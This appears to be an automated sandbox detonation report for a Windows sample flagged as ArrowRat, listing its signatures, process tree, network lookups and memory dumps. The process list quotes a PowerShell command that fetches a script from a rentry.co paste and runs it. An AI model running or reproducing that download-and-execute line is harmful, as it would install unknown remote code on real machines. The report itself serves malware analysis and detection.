Analysis Overview
SHA256
2475c46eba856424c41cf41db71fd5d6089e8be9031b35279f051da760aa216f
Threat Level: Known bad
The file 9Ood5SWkbwPn.AnarHs was found to be: Known bad.
Malicious Activity Summary
ArrowRat
Arrowrat family
Drops file in System32 directory
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2024-07-15 05:50
Signatures
Arrowrat family
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-15 05:50
Reported
2024-07-15 05:53
Platform
win7-20240704-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
ArrowRat
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2416 wrote to memory of 2744 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2416 wrote to memory of 2744 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2416 wrote to memory of 2744 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe
"C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell "irm rentry.co/Fr3on5000/raw | iex"
Network
Files
memory/2552-0-0x000007FEF5993000-0x000007FEF5994000-memory.dmp
memory/2552-1-0x00000000002F0000-0x0000000000318000-memory.dmp
memory/2744-6-0x000007FEF514E000-0x000007FEF514F000-memory.dmp
memory/2744-7-0x000000001B7B0000-0x000000001BA92000-memory.dmp
memory/2744-9-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp
memory/2744-10-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp
memory/2744-11-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp
memory/2744-12-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp
memory/2744-8-0x0000000001DD0000-0x0000000001DD8000-memory.dmp
memory/2744-13-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp
memory/2744-14-0x000007FEF4E90000-0x000007FEF582D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-15 05:50
Reported
2024-07-15 05:53
Platform
win10v2004-20240709-en
Max time kernel
92s
Max time network
110s
Command Line
Signatures
ArrowRat
Processes
C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe
"C:\Users\Admin\AppData\Local\Temp\9Ood5SWkbwPn.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
Files
memory/4776-1-0x0000015074070000-0x0000015074098000-memory.dmp
memory/4776-0-0x00007FF97A5A3000-0x00007FF97A5A5000-memory.dmp